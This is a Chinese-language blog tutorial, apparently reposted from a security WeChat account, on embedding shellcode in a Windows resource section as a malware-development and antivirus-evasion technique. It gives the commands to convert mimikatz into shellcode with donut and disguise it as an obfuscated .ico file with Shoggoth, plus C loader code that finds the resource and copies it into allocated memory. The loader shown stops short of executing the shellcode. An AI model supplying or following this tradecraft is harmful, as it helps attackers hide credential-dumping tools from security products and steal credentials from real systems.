从Resource中加载shellcode
2023-12-22 14:10:24 Author: moonsec(查看原文) 阅读量:7 收藏

在开发malware过程中通常有两种加载shellcode方式:

1.把shellcode直接以硬编码的方式写入代码中    2.采用分离加载的方式 制作一个shellcode loader 从本地读取shellcode到内存中进行运行。

本文先讲解第一种方式,这个方式有一定的缺陷。

  • 把shellcode与loader放一起编写。即使shellcode 进行了加密与混淆操作,把成品放到vt上进行扫描也很大概率被查杀。

  • 如果要对工具进行免杀,则需把工具 exe转为shellcode 写成c语言格式则有上千行。若把它粘贴到vs2019等IDE去可能会直接程序无响应了。所以可以把转换出来的shellcode可以写进资源(Resource)中。

  • VS2019

  • donut  https://github.com/TheWover/donut

  • Shoggoth https://github.com/frkngksl/Shoggoth

  • 使用C语言 Win32编程

HRSRC FindResourceA([in, optional] HMODULE hModule,[in]           LPCSTR  lpName,[in]           LPCSTR  lpType);

lpName: 可以使用MAKEINTRESOURCE(ID)获取lpType:RT_RCDATA  Application-defined resource (raw data).

HGLOBAL LoadResource(  [in, optional] HMODULE hModule,  [in]           HRSRC   hResInfo);
LPVOID LockResource( [in] HGLOBAL hResData);LPVOID VirtualAlloc( [in, optional] LPVOID lpAddress, [in] SIZE_T dwSize, [in] DWORD flAllocationType, [in] DWORD flProtect);

将所需要免杀的工具转成shellcode

`donut.exe -i .\mimikatz.exe -o mimi.bin`

使用多态加密混淆工具混淆下shellcode

Shoggoth.exe  -i .\mimi.bin -s 1235sfafsf -o mimi_fin.ico

打开VS2019

在资源文件中添加资源文件(rc)

导入生成的mimi_fin.ico(注意后缀名)

输入RCDATA 即可

代码编写

#include <stdio.h>#include<Windows.h>#include"resource.h"
void PrintHexData(LPCSTR Name, PBYTE Data, SIZE_T Size) {
printf("unsigned char %s[] = {", Name);
for (int i = 0; i < Size; i++) { if (i % 16 == 0) { printf("\n\t"); } if (i < Size - 1) { printf("0x%0.2X, ", Data[i]); } else { printf("0x%0.2X ", Data[i]); } }
printf("};\n\n\n");
}int main(){ HRSRC hRSrc = NULL; HGLOBAL hGlobal = NULL; LPVOID pTmpShellcode = NULL; LPVOID pShellcode = NULL; size_t sShellcodeSize = 0; hRSrc= FindResource(NULL, MAKEINTRESOURCEW(IDR_RCDATA1), RT_RCDATA); //确定shellcode资源在模块中的位置 if (!hRSrc) { printf("资源未找到!\n"); return -1; } hGlobal=LoadResource(NULL, hRSrc); //获取句柄 if (!hGlobal) { printf("加载资源失败\n"); return -1; } pTmpShellcode =LockResource(hGlobal); //找到资源所在内存中的地址 if (!pTmpShellcode) { printf("获取资源中shellcode地址失败"); return -1; } sShellcodeSize=SizeofResource(NULL,hRSrc); if (!sShellcodeSize ) { // in case of function failure printf("获取shellcode大小失败\n"); return -1; } pShellcode= VirtualAlloc(NULL, sShellcodeSize, MEM_COMMIT, PAGE_READWRITE); if (pShellcode) { MoveMemory(pShellcode, pTmpShellcode, sShellcodeSize); } else { printf("内存分配失败\n"); return -1; } printf("[+]pShellcode的地址为:%p\n",pShellcode); printf("[+]sShellcodeSize的大小为%d\n", sShellcodeSize); PrintHexData("shellcode", pShellcode, sShellcodeSize); return 0;}

这篇文章先讲到把Mimikatz的shellcode加载进内存 。下篇继续讲解!由于本人才疏学浅,有所错误请师傅们多多指教!


文章来源: http://mp.weixin.qq.com/s?__biz=MzAwMjc0NTEzMw==&mid=2653588244&idx=1&sn=2dba3696071ab8601a7b15b386120173&chksm=802db25fe222b54440439a074117265c2b744ea1d1497e8d33a2374763be3c48393fda4b7343&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh